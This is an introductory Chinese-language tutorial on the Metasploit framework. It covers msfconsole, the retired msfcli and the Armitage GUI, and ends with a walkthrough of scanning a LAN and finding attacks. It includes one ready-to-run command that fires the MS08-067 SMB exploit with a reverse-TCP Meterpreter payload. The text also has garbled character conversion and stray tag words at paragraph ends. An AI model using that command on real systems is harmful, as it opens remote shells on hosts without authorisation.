Metasploit簡單應用

什麼是Metasploit

Metasploit是一款開源的安全漏洞檢測工具。
它能夠幫助用戶識別安全問題,驗證漏洞的緩解措施,並對某些軟件進行安全性評估,提供真正的安全風險情報。當咱們第一次接觸Metasploit滲透測試框架軟件(MSF)時,可能會被它提供如此多的接口、選項、變量和模塊所震撼,而感受無所適從。Metasploit軟件爲它的基礎功能提供了多個用戶接口,包括終端、命令行和圖形化界面等。sql

Metasploit背景和安裝

2003年,HD Moore開發了開源項目Metasploit。
2007年,Metasploit使用Ruby重構,本來用的是Perl。
2009年,Rapid7買下了它,這是一家生產了漏洞掃描器Nexpose的信息安全公司。
Metasploit當前版本是4.9.3,Kali Linux默認安裝。BackTrack裏也有。若是大家使用其它版本的Linux或者Unix(包括Mac OS),能夠去Rapid7官網下載。
Windows使用者也能夠從Rapid7獲取Windows版本,不過不建議在Windows上使用Metasploit。由於雖然能夠下載安裝,可是有些攻擊框架的功能沒能移植到Windows上,並且在Null Byte這裏的不少攻擊方式也無法工做在Windows上。shell

使用Metasploit的方式

有幾種方式能夠訪問Metasploit。最一般的方式,也是我使用的方式,是經過Metasploit交互控制檯。在Kali的命令行中輸入msfconsole便可使用。如下是其它的方式:數據庫

Msfcli(已不能使用)

首先,咱們能夠從命令行使用Metasploit,即msfcli模式。看起來咱們只是在控制檯下使用命令行,實際上咱們正使用着一個有特殊關鍵字和命令支持的交互對話框。經過msfcli,咱們是真的在使用Linux命令行。
咱們能夠經過如下命令進入幫助頁面:
kali > msfcli -h
但在新版metasploit中Msfcli再也不有效,做爲取代,咱們能夠在* Msfconsole 使用 -x 選項*。
好比說:windows

root@kali:~# msfconsole -x "use   exploit/windows/smb/ms08_067_netapi; set RHOST  [192.168.128.1]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [192.168.128.128]; run"

這樣就能夠直接使用啦!可是這種方式只能用單條指令(shell),執行一些複雜的漏洞攻擊程序(exploits)就不太可能了。
這一部分與平時實驗重疊。api

Armitage

Armitage組件是Metasploit框架中一個徹底交互式的圖形化用戶接口,由Raphael Mudge所開發。Armitage工具包含Metasploit控制檯,經過使用其標籤特性,用戶能夠看到多個Metasploit控制檯或多個Meterpreter會話。
Armitage是基於C/S架構的Metasploit圖形界面。啓動Metasploit做爲服務端,Armitage做爲客戶端,咱們就有了一個可使用Metasploit完整功能的完整——但不是徹底直觀——圖形界面。安全

想經過圖形界面使用Metasploit,那麼咱們有好幾個選擇。
1.在Kali啓動Armitage,簡單鍵入:
kali > armitage
如圖Armitage:
網絡

2.若是Armitage鏈接失敗,嘗試如下替代命令:
kali > service start postgresql
kali > service start metasploit
kali > service stop metasploit
圖Armitage1:
架構

3.固然咱們也能夠直接通過這種方式。。。
如圖另外一種方式:
框架

可是在使用Armitage工具前,必須將Metasploit服務啓動!不然,沒法運行Armitage工具。由於Armitage須要鏈接到Metasploit服務,才能夠啓動。在Kali桌面依次選擇「應用程序」|Kali Linux|「系統服務」|Metasploit|community/pro start命令啓動Metasploit服務,
圖metasploit:
tcp

或者直接在命令行輸入msfconsole
圖msfconsole:

將輸出以下所示的信息:
[ ok ] Starting PostgreSQL 9.1 database server: main. Configuring Metasploit… Creating metasploit database user 'msf3'… Creating metasploit database 'msf3'… insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5). insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
從輸出的信息中能夠看到++PostgreSQL 9.1++數據庫服務已啓動,並建立了數據庫用戶和數據庫。
咱們跟進一下鏈接界面,
圖鏈接界面:

該界面顯示了鏈接Metasploit的一個進度。當成功鏈接到Metasploit服務的話,將顯示以下圖所示的界面。
圖:

該界面共有三個部分,這裏把它們分別標記爲A、B和C 。下面分別介紹這三部分。

1)A:這部分顯示的是預配置模塊。用戶能夠在模塊列表中使用空格鍵搜索提供的模塊。
2)B:這部分顯示活躍的目標系統,用戶能執行利用漏洞攻擊。
3)C:這部分顯示多個Metasploit標籤。這樣,就能夠運行多個Meterpreter命令或控制檯會話,而且同時顯示。

實例

咱們如今就拿Armitage作個實例。
(1)啓動Armitage工具,界面如以前所示。從該界面能夠看到默認沒有掃描到任何主機。這裏經過掃描,找到本網絡中的全部主機。
(2)在Armitage工具的菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan命令。
(3)在該界面輸入要掃描的網絡範圍,這裏輸入的網絡範圍是192.168.41.0/24。而後單擊「肯定」按鈕,將開始掃描。掃描完成後,將顯示以下圖所示的界面。
圖輸入IP:

(4)從該界面能夠看到,彈出了一個掃描完成對話框,此時單擊「肯定」按鈕便可。而且在目標系統的窗口中,顯示了三臺主機。這三臺主機就是掃描到的主機。從掃描完成的對話框中能夠看到提示建議選擇Attacks|Find Attacks命令,將能夠滲透攻擊目標系統

(5)在菜單欄中依次選擇Attacks|Find Attacks命令,運行完後將顯示如圖所示的界面。
圖attacks:

(6)從該界面能夠看到攻擊分析完成,而且右擊掃描到的主機將會看到有一個Attack菜單
圖顯示attacks:

(7)從該界面能夠看到在目標主機的菜單中出現了Attack選項,在該菜單中共有五個選項。在沒有運行Find Attacks命令前,只要Services、Scan和Host三個選項。這裏掃描到的主機屏幕都是黑色,這是由於尚未識別出操做系統的類型。此時能夠在菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan(OS detect)命令,掃描操做系統類型。掃描完成後,將顯示操做系統的默認圖標。
(8)掃描操做系統。掃描完成後,將顯示下圖所示的界面
圖操做系統:

相關文章
相關標籤/搜索